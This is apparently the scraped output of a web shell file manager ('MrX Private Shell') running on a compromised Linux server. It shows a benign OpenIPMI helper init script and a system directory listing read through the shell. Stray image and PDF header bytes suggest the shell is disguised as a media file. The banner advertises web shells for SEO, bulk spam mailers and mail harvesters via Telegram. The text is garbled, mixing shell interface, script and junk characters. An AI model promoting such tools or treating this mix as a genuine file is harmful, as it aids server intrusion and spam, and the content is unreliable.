xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/sh
#############################################################################
#
# ipmi:		OpenIPMI Driver helper script
#
# Authors:	Jan Safranek <jsafrane@redhat.com>
#
# Based on IPMI init script by:
#               Matt Domsch <Matt_Domsch@dell.com>
#               Chris Poblete <Chris_Poblete@dell.com>
#
# Status return code bits
# no bits set = no errors
# bit 0 set = minimum modules aren't loaded
# bit 1 set = requested feature module isn't loaded
# bit 2 set = /dev/ipmi0 (or /dev/imb if using that instead) doesn't exist
# bit 3 set = /dev/watchdog doesn't exist
# bit 4 set = lockfile doesn't exist
# bit 5 set = modules are loaded even when asked to be unloaded

CONFIGFILE=/etc/sysconfig/ipmi

#############################################################################
# GLOBALS
#############################################################################
MODULE_NAME="ipmi"
INTF_NUM=0

IPMI_SMB_MODULE_NAME="ipmi_smb"
IPMI_SI_MODULE_NAME="ipmi_si"
kernel=`uname -r | cut -d. -f1-2`
if [ "${kernel}" = "2.4" ]; then
    IPMI_SMB_MODULE_NAME="ipmi_smb_intf"
    IPMI_SI_MODULE_NAME="ipmi_si_drv"
fi
# source config info
[ -r ${CONFIGFILE} ] && . ${CONFIGFILE}

MODULES_INTERFACES=""
[ "${DEV_IPMI}" = "yes" ] && MODULES_INTERFACES="${MODULES_INTERFACES} ipmi_devintf"
[ "${IPMI_IMB}" = "yes" ] && MODULES_INTERFACES="${MODULES_INTERFACES} ipmi_imb"

MODULES_FEATURES=""
[ "${IPMI_WATCHDOG}" = "yes" ] && MODULES_FEATURES="${MODULES_FEATURES} ipmi_watchdog"
[ "${IPMI_POWEROFF}" = "yes" ] && MODULES_FEATURES="${MODULES_FEATURES} ipmi_poweroff"

MODULES_HW=""
[ "${IPMI_SI}"  = "yes" ] && MODULES_HW="${MODULES_HW} ${IPMI_SI_MODULE_NAME}"
[ "${IPMI_SMB}" = "yes" ] && MODULES_HW="${MODULES_HW} ${IPMI_SMB_MODULE_NAME}"

MODULES_BASE="ipmi_msghandler"
MODULES="${MODULES_INTERFACES} ${MODULES_FEATURES} ${MODULES_HW} ${MODULES_BASE}"

RETVAL=0
LOCKFILE=/var/lock/subsys/ipmi
DEV_IPMI_TIMEOUT=150

UDEV_EXISTS=0
if [ -e /sbin/udev -o -e /sbin/udevd ]; then
    UDEV_EXISTS=1
fi

#############################################################################
# NOTES:
# * /dev/ipmi0 is unconditionally deleted here on ipmi_devintf unload,
#   because SLES9 and RHEL4 kernels don't send a message for udev to delete
#   it for us.
# 
#############################################################################

modules_loaded_verbose()
{
	OnePlusLoaded=0
	OnePlusUnloaded=0
	for m in $@; do
		if /sbin/lsmod | grep $m >/dev/null 2>&1 ; then
			echo "$m module loaded."
			OnePlusLoaded=1
		else
			echo "$m module not loaded."
			OnePlusUnloaded=1
		fi
	done
}

modules_loaded()
{
	OnePlusLoaded=0
	OnePlusUnloaded=0
	for m in $@; do
		if /sbin/lsmod | grep $m >/dev/null 2>&1 ; then
			OnePlusLoaded=1
		else
			OnePlusUnloaded=1
		fi
	done
}

device_node_exists ()
{
	if [ -e "$1" ]; then
		echo "$1 exists."
		return 1
	fi
	echo "$1 does not exist."
	return 0
}

minimum_modules_loaded()
{
        rc_base=1
	rc_hw=1
        modules_loaded_verbose "${MODULES_BASE}"
	[ ${OnePlusLoaded} -eq 0 ] && rc_base=0
	    
	modules_loaded_verbose "${MODULES_HW}"
	[ ${OnePlusLoaded} -eq 0 ] && rc_hw=0
	
	return $((rc_base && rc_hw))
}

#############################################################################

load_si()
{
	if [ "${IPMI_SI}" = "yes" ]; then
		modprobe ${IPMI_SI_MODULE_NAME} > /dev/null 2>&1
		modules_loaded ${IPMI_SI_MODULE_NAME}
		[ ${OnePlusLoaded} -ne 1 ] && RETVAL=$((RETVAL | 1))
	fi
}

load_smb()
{
	if [ "${IPMI_SMB}" = "yes" ]; then
		modprobe ${IPMI_SMB_MODULE_NAME} > /dev/null 2>&1
		modules_loaded ${IPMI_SMB_MODULE_NAME}
		[ ${OnePlusLoaded} -ne 1 ] && RETVAL=$((RETVAL | 1))
	fi
}

load_hw_modules()
{
	load_si
	load_smb
}

start_watchdog_common()
{
	load_hw_modules
	modprobe ipmi_watchdog ${IPMI_WATCHDOG_OPTIONS} > /dev/null 2>&1
	modules_loaded ipmi_watchdog
	[ ${OnePlusUnloaded} -ne 0 ] &&
		RETVAL=$((RETVAL | 2)) &&
		echo "Watchdog startup failed: cannot load ipmi_watchdog module" &&
		return
	if [ ${UDEV_EXISTS} -eq 0 -a ! -e /dev/watchdog ]; then
		mknod -m 0600 /dev/watchdog c 10 130
		[ $? -ne 0 ] &&
			RETVAL=$((RETVAL | 8)) &&
			echo "Watchdog startup failed: cannot create /dev/watchdog" &&
			return
	fi
}

start_watchdog_quiet()
{
	[ "${IPMI_WATCHDOG}" != "yes" ] &&
		return
	start_watchdog_common
}

start_watchdog()
{
	[ "${IPMI_WATCHDOG}" != "yes" ] &&
		RETVAL=$((RETVAL | 2)) &&
		echo "Watchdog not configured" &&
		return
	start_watchdog_common
}

stop_watchdog()
{
	modprobe -q -r ipmi_watchdog > /dev/null 2>&1
	modules_loaded ipmi_watchdog
	if [ ${OnePlusLoaded} -ne 0 ]; then
	    RETVAL=$((RETVAL | 32))
	    echo "Watchog shutdown failed: cannot unload ipmi_watchdog module"
	else
	    if [ "${IPMI_WATCHDOG}" = "yes" ]; then
		[ ${UDEV_EXISTS} -eq 0 ] && rm -f /dev/watchdog
	    fi
	fi
}

stop_watchdog_quiet()
{
	modprobe -q -r ipmi_watchdog > /dev/null 2>&1
	modules_loaded ipmi_watchdog
	if [ ${OnePlusLoaded} -ne 0 ]; then
	    RETVAL=$((RETVAL | 32))
	else
	    if [ "${IPMI_WATCHDOG}" = "yes" ]; then
		[ ${UDEV_EXISTS} -eq 0 ] && rm -f /dev/watchdog
	    fi
	fi
}

start_powercontrol_common()
{
	local poweroff_opts=""
	load_hw_modules
	if [ "${IPMI_POWERCYCLE}" = "yes" ]; then
	    modinfo ipmi_poweroff 2>/dev/null | grep poweroff_control > /dev/null 2>&1 && \
		poweroff_opts="poweroff_control=2"
	    modinfo ipmi_poweroff 2>/dev/null | grep poweroff_powercycle > /dev/null 2>&1 && \
		poweroff_opts="poweroff_powercycle=1"
	fi
	modprobe ipmi_poweroff "${poweroff_opts}" > /dev/null 2>&1
	modules_loaded ipmi_poweroff
	[ ${OnePlusUnloaded} -ne 0 ] &&
		RETVAL=$((RETVAL | 2)) &&
		echo "Powercontroll startup failed: cannot load ipmi_poweroff module" &&
		return
}

start_powercontrol_quiet()
{
	[ "${IPMI_POWEROFF}" != "yes" ] &&
		return
	start_powercontrol_common
}

start_powercontrol()
{
	[ "${IPMI_POWEROFF}" != "yes" ] &&
		RETVAL=$((RETVAL | 2)) &&
		echo "Powercontroll not configured" &&
		return
	start_powercontrol_common
}

stop_powercontrol()
{
	modprobe -q -r ipmi_poweroff > /dev/null 2>&1
	modules_loaded ipmi_poweroff
	if [ ${OnePlusLoaded} -ne 0 ]; then
	    RETVAL=$((RETVAL | 32))
	    echo "Powercontroll shutdown failed: cannot unload ipmi_poweroff module"
	fi
}

stop_powercontrol_quiet()
{
	modprobe -q -r ipmi_poweroff > /dev/null 2>&1
	modules_loaded ipmi_poweroff
	[ ${OnePlusLoaded} -ne 0 ] && RETVAL=$((RETVAL | 32))
}

#############################################################################
unload_all_ipmi_modules()
{
	stop_watchdog_quiet
	stop_powercontrol_quiet
	for m in ${MODULES}; do
		modprobe -q -r ${m} > /dev/null 2>&1
	done
        # delete interface node ONLY if ipmi_devintf is unloaded
        [ `lsmod | grep -c "ipmi_devintf"` -eq 0 ] &&
	        rm -f "/dev/ipmi${INTF_NUM}"
}

unload_ipmi_modules_leave_features()
{
	for m in ${MODULES_INTERFACES}; do
		modprobe -q -r ${m} > /dev/null 2>&1
	done
        # delete interface node ONLY if ipmi_devintf is unloaded
        [ `lsmod | grep -c "ipmi_devintf"` -eq 0 ] &&
	        rm -f "/dev/ipmi${INTF_NUM}"
	lsmod | egrep -q "ipmi_(poweroff|watchdog)" > /dev/null 2>&1
	if [ "$?" -ne "0" ]; then
		stop_watchdog_quiet
		stop_powercontrol_quiet
		for m in ${MODULES}; do
			modprobe -q -r ${m} > /dev/null 2>&1
		done
	fi
}

#############################################################################
load_ipmi_modules ()
{
	local locdelay
	modprobe ipmi_msghandler > /dev/null 2>&1
	modules_loaded ipmi_msghandler
	[ ${OnePlusLoaded} -ne 1 ] && unload_all_ipmi_modules && RETVAL=$((RETVAL | 1)) && return
	load_hw_modules
	[ $((RETVAL & 1)) -eq 1 ] && unload_all_ipmi_modules && RETVAL=$((RETVAL | 1)) && return

	if [ "${DEV_IPMI}" = "yes" ]; then
		modprobe ipmi_devintf > /dev/null 2>&1
		modules_loaded ipmi_devintf
		RETVAL=$((RETVAL & ~2))
		[ ${OnePlusLoaded} -eq 0 ] && RETVAL=$((RETVAL | 2))
		if [ ${OnePlusLoaded} -eq 1 ]; then
			if [ ${UDEV_EXISTS} -eq 0 ]; then
				DEVMAJOR=`cat /proc/devices | awk '/ipmidev/{print $1}'`
				rm -f /dev/ipmi${INTF_NUM}
				mknod -m 0600 /dev/ipmi${INTF_NUM} c ${DEVMAJOR} 0 || RETVAL=$((RETVAL | 4))
			fi

			# udev can take several seconds to create /dev/ipmi0, 
			# but it happens asynchronously, so delay here
			locdelay=${DEV_IPMI_TIMEOUT}
			while [ ! -e /dev/ipmi${INTF_NUM} -a ${locdelay} -gt 0 ]; do
				locdelay=$((locdelay - 1))
				sleep 0.1
			done
		fi
	fi

	if [ "${IPMI_IMB}" = "yes" ]; then
		modprobe ipmi_imb > /dev/null 2>&1
		modules_loaded ipmi_imb
		RETVAL=$((RETVAL & ~2))
		[ ${OnePlusLoaded} -eq 0 ] && RETVAL=$((RETVAL | 2))
		if [ ${OnePlusLoaded} -eq 1 ]; then
			DEVMAJOR=`cat /proc/devices | awk '/imb/{print $1}'`
			rm -f /dev/imb
			mknod -m 0600 /dev/imb c ${DEVMAJOR} 0 || RETVAL=$((RETVAL | 4))
		fi
	fi

	# Per Corey Minyard, essentially no one uses ipmi_radisys
	# and we don't want to encourage its further use
	# so it won't be handled here.
	return
}

#############################################################################
start()
{
	load_ipmi_modules
	if [ ${RETVAL} -eq 0 ]; then
		touch ${LOCKFILE}
	else
		if [ $((RETVAL & 1)) -eq 1 ]; then
			echo "Startup failed."
		else
			touch ${LOCKFILE} && echo "Warning!?"
		fi
	fi
	start_watchdog_quiet
	start_powercontrol_quiet
}

#############################################################################
stop()
{
	unload_ipmi_modules_leave_features
	modules_loaded ${MODULES_INTERFACES}
	if [ ${OnePlusLoaded} -ne 0 ]; then
		RETVAL=$((RETVAL | 32))
		echo "Shutdown failed, something may be in use"
	else
		rm -f ${LOCKFILE}
	fi
}

stop_all()
{
	unload_all_ipmi_modules
	modules_loaded ${MODULES}
	if [ ${OnePlusLoaded} -ne 0 ]; then
		RETVAL=$((RETVAL | 32))
		echo "Shutdown failed, something may be in use"
	else
		rm -f ${LOCKFILE}
	fi
}

#############################################################################
restart()
{
	stop_all
	RETVAL=0
	start
}

#############################################################################

reload()
{
	stop_all
	RETVAL=0
	start
}

#############################################################################

status_all()
{
	minimum_modules_loaded
	[ $? -eq 0 ] && RETVAL=$((RETVAL | 1))
	
	modules_loaded_verbose ${MODULES_FEATURES} ${MODULES_INTERFACES}
	[ ${OnePlusUnloaded} -ne 0 ] && RETVAL=$((RETVAL | 2))

	if [ "${DEV_IPMI}" = "yes" ]; then 
	    device_node_exists /dev/ipmi${INTF_NUM}
	    [ $? -eq 0 ] && RETVAL=$((RETVAL | 4))
	fi

	if [ "${IPMI_IMB}" = "yes" ]; then
	    device_node_exists /dev/imb
	    [ $? -eq 0 ] && RETVAL=$((RETVAL | 4))
	fi

	if [ "${IPMI_WATCHDOG}" = "yes" ]; then
	    device_node_exists /dev/watchdog
	    [ $? -eq 0 ] && RETVAL=$((RETVAL | 8))
	fi

	[ ! -e ${LOCKFILE} ] && RETVAL=$((RETVAL | 16))
}

status()
{
	minimum_modules_loaded
	[ $? -eq 0 ] && RETVAL=$((RETVAL | 1))
	
	if [ "${DEV_IPMI}" = "yes" ]; then 
	    modules_loaded_verbose ipmi_devintf
	    [ ${OnePlusLoaded} -eq 0 ] && RETVAL=$((RETVAL | 2))

	    device_node_exists /dev/ipmi${INTF_NUM}
	    [ $? -eq 0 ] && RETVAL=$((RETVAL | 4))
	fi

	if [ "${IPMI_IMB}" = "yes" ]; then
	    device_node_exists /dev/imb
	    [ $? -eq 0 ] && RETVAL=$((RETVAL | 4))
	fi
}

status_watchdog()
{
	minimum_modules_loaded
	[ $? -eq 0 ] && RETVAL=$((RETVAL | 1))

	modules_loaded_verbose ipmi_watchdog
	[ ${OnePlusLoaded} -eq 0 ] && RETVAL=$((RETVAL | 2))

	device_node_exists /dev/watchdog
	[ $? -eq 0 ] && RETVAL=$((RETVAL | 8))
}

status_powercontrol()
{
	minimum_modules_loaded
	[ $? -eq 0 ] && RETVAL=$((RETVAL | 1))

	modules_loaded_verbose ipmi_powercontrol
	[ ${OnePlusLoaded} -eq 0 ] && RETVAL=$((RETVAL | 2))
}

#############################################################################
usage ()
{
	echo "Usage: $0 {start|stop|status" 1>&2
	echo "          restart|condrestart|try-restart|reload|force-reload" 1>&2
	echo "          start-watchdog|stop-watchdog|status-watchdog" 1>&2
	echo "          start-powercontrol|stop-powercontrol|status-powercontrol" 1>&2
	echo "          stop-all|status-all}" 1>&2
	RETVAL=2
}

condrestart ()
{
	[ -e ${LOCKFILE} ] && restart
}

#############################################################################
# MAIN
#############################################################################
case "$1" in
	start) start ;;
	stop)  stop ;;
	restart) restart ;;
	force-reload) reload ;;
	reload) reload ;;
	status)	status ;;
	status-all) status_all ;;
	condrestart) condrestart ;;
	try-restart) condrestart ;;
	start-watchdog) start_watchdog ;;
	stop-watchdog) stop_watchdog ;;
	status-watchdog) status_watchdog ;;
	start-powercontrol) start_powercontrol ;;
	stop-powercontrol) stop_powercontrol ;;
	status-powercontrol) status_powercontrol ;;
	stop-all) stop_all ;;
	*) usage ;;
esac

exit ${RETVAL}

#############################################################################
# end of file
#############################################################################


Filemanager

Name Type Size Permission Actions
X11 Folder 0755
YaST2 Folder 0755
at-spi2 Folder 0755
binfmt.d Folder 0755
boot Folder 0755
bootloader Folder 0755
browser-plugins Folder 0755
ca-certificates Folder 0755
crda Folder 0755
cron Folder 0755
cups Folder 0755
dbus-1-glib Folder 0755
dirmngr Folder 0755
dracut Folder 0755
genisoimage Folder 0755
getconf Folder 0755
groff Folder 0755
grub2 Folder 0755
gvfs Folder 0755
hdparm Folder 0755
hxtools Folder 0755
initscripts Folder 0755
kbd Folder 0755
kernel Folder 0755
libproxy-0.4.13 Folder 0755
linux-boot-probes Folder 0755
locale Folder 0755
lsb Folder 0755
man-db Folder 0755
mdadm Folder 0755
module-init-tools Folder 0755
modules-load.d Folder 0755
net-snmp Folder 0755
news Folder 0755
os-probes Folder 0755
perl5 Folder 0755
pkgconfig Folder 0755
plymouth Folder 0755
polkit-1 Folder 0755
postfix Folder 0755
python2.7 Folder 0755
python3.4 Folder 0755
restricted Folder 0755
rpm Folder 0755
selinux Folder 0755
smartmontools Folder 0755
snapper Folder 0755
ssh Folder 0755
sudo Folder 0755
supportconfig Folder 0755
sysctl.d Folder 0755
systemd Folder 0755
sysusers.d Folder 0755
tmpfiles.d Folder 0755
udev Folder 0755
udisks2 Folder 0755
utempter Folder 0755
wicked Folder 0755
yp Folder 0755
ypbind Folder 0755
zypp Folder 0755
zypper Folder 0755
cracklib_dict.hwm File 1 KB 0644
cracklib_dict.pwd File 9.9 MB 0644
cracklib_dict.pwi File 578.29 KB 0644
dconf-service File 80.18 KB 0755
gam_server File 87.39 KB 0755
gcr-prompter File 10.42 KB 0755
glib-pacrunner File 14.63 KB 0755
newns File 6.26 KB 0755
openipmi-helper File 12.53 KB 0755
sendmail File 27.01 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1